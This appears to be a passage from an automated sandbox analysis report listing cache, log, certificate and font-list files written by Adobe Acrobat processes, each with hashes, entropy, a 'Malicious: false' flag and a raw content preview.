Size (bytes):	16384
Entropy (8bit):	0.08013126535528572
Encrypted:	false
SSDEEP:	3:jWllEYeGzrIANaAPaU1l+aMGDilluxmO+l/SNxOf:jGEzWhNDPaUWoDGgmOH
MD5:	8587C9E0A5DF28DE09BAA2C1DD93BC28
SHA1:	545755ACCD94CE5CB6FA7F70085EB4F87C8C5A61
SHA-256:	6A9ECB2F338EB5566E7A342C4F95A37D3CC2F5AA2DAFB8103E8D8BDC04471F28
SHA-512:	3C16FD250D3716994E8CF6AAD3FC90D35F34839180EDDB080349A5B6E4E61ECBD87B17ED626395A86C9DD2F1A0CBA36AED1AEEEDC0533E368540AFD00D8C0490
Malicious:	false
Preview:	.........................................;...{......}#..!...{?..........!...{?..!...{?..g...!...{?.........................}#.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.222499033408695
Encrypted:	false
SSDEEP:	6:iO4qD9+q2PN72nKuAl9OmbnIFUtSqk0Zmwsqs9VkwON72nKuAl9OmbjLJ:7t4vVaHAahFUtX/g5OaHAaSJ
MD5:	3FF4BFF278B964AC9842B5643D485A49
SHA1:	4221D5A7D863E82AF969BB8914F0D44AE8D86933
SHA-256:	928466B023CD56C52D27BC7BA45E3FEFC844E9D419AAD0484DF829194547E485
SHA-512:	E856EDFB41C05973880A740B1D3DFF90BF8358FB748091DA5C971E6815ADA9DBC9EA417D34B1844AD34A906CFA6D0459A33C22AA0DAE3BF7AF9A23A86629C140
Malicious:	false
Preview:	2025/01/10-21:42:19.576 fe8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:42:19.578 fe8 Recovering log #3.2025/01/10-21:42:19.579 fe8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.222499033408695
Encrypted:	false
SSDEEP:	6:iO4qD9+q2PN72nKuAl9OmbnIFUtSqk0Zmwsqs9VkwON72nKuAl9OmbjLJ:7t4vVaHAahFUtX/g5OaHAaSJ
MD5:	3FF4BFF278B964AC9842B5643D485A49
SHA1:	4221D5A7D863E82AF969BB8914F0D44AE8D86933
SHA-256:	928466B023CD56C52D27BC7BA45E3FEFC844E9D419AAD0484DF829194547E485
SHA-512:	E856EDFB41C05973880A740B1D3DFF90BF8358FB748091DA5C971E6815ADA9DBC9EA417D34B1844AD34A906CFA6D0459A33C22AA0DAE3BF7AF9A23A86629C140
Malicious:	false
Preview:	2025/01/10-21:42:19.576 fe8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:42:19.578 fe8 Recovering log #3.2025/01/10-21:42:19.579 fe8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.189789597789265
Encrypted:	false
SSDEEP:	6:iO4qvIq2PN72nKuAl9Ombzo2jMGIFUtSqY9ZmwsqOSjzkwON72nKuAl9Ombzo2jz:7qvVaHAa8uFUtk9/HP5OaHAa8RJ
MD5:	CC248F4250622E1694AFA6AC0DDF87F3
SHA1:	A7250FEBC0A4EDE7746BF24CAA4BA8560EEE8C42
SHA-256:	B53757E62C1F2981138D7C3B03047854622CA8C6808924B2C0D2B94420EA8C10
SHA-512:	904D1DA8E1169561014B82A883DA33BDE0DA0ACEC7FEB6DA5059463EFEE4AA72C523F6A1EE1DFC8BC6526D86073BC327981D49765E0B304804173821A6945DE0
Malicious:	false
Preview:	2025/01/10-21:42:19.691 1574 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:42:19.692 1574 Recovering log #3.2025/01/10-21:42:19.693 1574 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.189789597789265
Encrypted:	false
SSDEEP:	6:iO4qvIq2PN72nKuAl9Ombzo2jMGIFUtSqY9ZmwsqOSjzkwON72nKuAl9Ombzo2jz:7qvVaHAa8uFUtk9/HP5OaHAa8RJ
MD5:	CC248F4250622E1694AFA6AC0DDF87F3
SHA1:	A7250FEBC0A4EDE7746BF24CAA4BA8560EEE8C42
SHA-256:	B53757E62C1F2981138D7C3B03047854622CA8C6808924B2C0D2B94420EA8C10
SHA-512:	904D1DA8E1169561014B82A883DA33BDE0DA0ACEC7FEB6DA5059463EFEE4AA72C523F6A1EE1DFC8BC6526D86073BC327981D49765E0B304804173821A6945DE0
Malicious:	false
Preview:	2025/01/10-21:42:19.691 1574 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:42:19.692 1574 Recovering log #3.2025/01/10-21:42:19.693 1574 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.941197087493406
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPUksBdOg2Hvcaq3QYiubcP7E4T3y:Y2sRdstJdMHe3QYhbA7nby
MD5:	B9BE2515B3DB73727E0343469FA65ACF
SHA1:	46B9D4AC30DE95DF67C5838575FA548A8E2B0498
SHA-256:	2CA733BF7E2B71CB7ED67F1786DAC48DCBF7425B385A340249A8C6901B181EF8
SHA-512:	E7A9A074F0115A2C296073A71A2F66D35F49F9233C01AB3B5BDE94FCAE77E7977838B96CE40FD3C233F8A97677AF91EAE130CE3846EACD3AB80708C67F148394
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123351364821","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151222},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ef80de8c-65ad-4351-bce3-5feca2363032.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.941197087493406
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPUksBdOg2Hvcaq3QYiubcP7E4T3y:Y2sRdstJdMHe3QYhbA7nby
MD5:	B9BE2515B3DB73727E0343469FA65ACF
SHA1:	46B9D4AC30DE95DF67C5838575FA548A8E2B0498
SHA-256:	2CA733BF7E2B71CB7ED67F1786DAC48DCBF7425B385A340249A8C6901B181EF8
SHA-512:	E7A9A074F0115A2C296073A71A2F66D35F49F9233C01AB3B5BDE94FCAE77E7977838B96CE40FD3C233F8A97677AF91EAE130CE3846EACD3AB80708C67F148394
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123351364821","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151222},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.251894950763266
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7aDqan:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhI
MD5:	AACA9135072A0174D23EF5806AB59FD1
SHA1:	3CF38605C445528E8A186D80960D5D78D4ECBE2D
SHA-256:	DD2D9F7284AA11B750F6096F0F0DF249C724B6AD38DE66EC66A59C6EBF3A5E0A
SHA-512:	CF77B6202FBDACF8575F3561967BD71084382224696F69B91E9B2D4FCF4732DC2905D203BD639C93550290FE54806BE67D9D839F7750A6DCA7FA6A9A42DFCAE3
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.192855611263614
Encrypted:	false
SSDEEP:	6:iO4qjnq2PN72nKuAl9OmbzNMxIFUtSqnZZmwsqlfukwON72nKuAl9OmbzNMFLJ:7tnvVaHAa8jFUt1/3u5OaHAa84J
MD5:	4BB1170E143BF7F8C7238FE1BF762F3E
SHA1:	F825FB8E50E9A03325100624FFC4F0624EAA58FE
SHA-256:	7C9E81CECE6BB9C5D2FECD8E79862163BFCA3135052AB5ED17832E731714AD75
SHA-512:	84F1D1500F603DA2C19282358E778C6576C9D4B5B08635CABF6BF790E767C5F5FABB0FBFC2579E8C7E916AF4A8ACA71744DDEA07DE87A5E2E2EBD1475B2BB115
Malicious:	false
Preview:	2025/01/10-21:42:19.962 1574 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:42:19.963 1574 Recovering log #3.2025/01/10-21:42:19.964 1574 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.192855611263614
Encrypted:	false
SSDEEP:	6:iO4qjnq2PN72nKuAl9OmbzNMxIFUtSqnZZmwsqlfukwON72nKuAl9OmbzNMFLJ:7tnvVaHAa8jFUt1/3u5OaHAa84J
MD5:	4BB1170E143BF7F8C7238FE1BF762F3E
SHA1:	F825FB8E50E9A03325100624FFC4F0624EAA58FE
SHA-256:	7C9E81CECE6BB9C5D2FECD8E79862163BFCA3135052AB5ED17832E731714AD75
SHA-512:	84F1D1500F603DA2C19282358E778C6576C9D4B5B08635CABF6BF790E767C5F5FABB0FBFC2579E8C7E916AF4A8ACA71744DDEA07DE87A5E2E2EBD1475B2BB115
Malicious:	false
Preview:	2025/01/10-21:42:19.962 1574 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:42:19.963 1574 Recovering log #3.2025/01/10-21:42:19.964 1574 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444594448591163
Encrypted:	false
SSDEEP:	384:Sedci5tpiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:hKs3OazzU89UTTgUL
MD5:	93478865865D02A0C33EC20738419B7D
SHA1:	491BF70473C0A9FC3A60988B7DA5A7275575313D
SHA-256:	DCC80E1575681090E56873BC70E54947898ABB55045EB2F296463F7264DA1556
SHA-512:	7B491FD49453263BECAA961FE2954AEE0871FB31981FBB1C3916A8AC8FDB1450C2B10C77CF43B34C1C1E5FF8538ECD7353493B98CFCC1315AF4ED9382126AF7C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2130514922680193
Encrypted:	false
SSDEEP:	24:7+tqxnuwKTqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mf:7MMnCTqPmFTIF3XmHjBoGGR+jMz+Lh+
MD5:	420B0C664ED34E05FFF6F36C8EE07485
SHA1:	7E78000625414B62055F854FBA02D9954AC334E7
SHA-256:	CCC31309AFF2FE05D9A87AAFB77831BB0E5C1E548E9C6401925E1ECFEE10CBD9
SHA-512:	9EDDBF731D8BB4E9E9FD98BA48E6B5D980E7F922643224D202AC9EE52255AA2B0F03320A70E689E3DC4A91C8849DE67356205C4D2A8E60148E90AD0CDABA46D6
Malicious:	false
Preview:	.... .c.......HY........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklUUK3/tfllXlE/HT8kdzlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKNj3/eT8SNMa8RdWBwRd
MD5:	709AB854D14437CDA7E52AF9F13AD41F
SHA1:	4B124281AE940F0ECB91313C7988F154BE68B504
SHA-256:	5EDF1FCAFEE685E99E0939A90390465E442555F13E714C18F2F71ABDC7C03C58
SHA-512:	146766D9FD0634BE2670813411ACA13904907B2DF8E3858D80BE242B8094B9DF6BC2CC2A41D5869A30504B8D890EA949B172FB19BBB60D4896FA926D553EA1BB
Malicious:	false
Preview:	p...... ..........s.c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1197751097109037
Encrypted:	false
SSDEEP:	6:kKUL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:8iDnLNkPlE99SNxAhUe/3
MD5:	23D2BBC4F1D99F141D6837B73E196EBB
SHA1:	BDC124F094A9731A495BFBACECDF9FE223A62F18
SHA-256:	DD540898247D9FCD35B25DBCDBE094F30F8474BA515F6E3E81904608D42578EB
SHA-512:	BCAFCCC116907C2216AB5420CD39D6C7521DC508FB333861540EEA3528F4497BFAB0BEF465A647B3F233482DC4B5229381B22467F9D625AC441AA65E4FA8521C
Malicious:	false
Preview:	p...... ........p"...c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6968

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
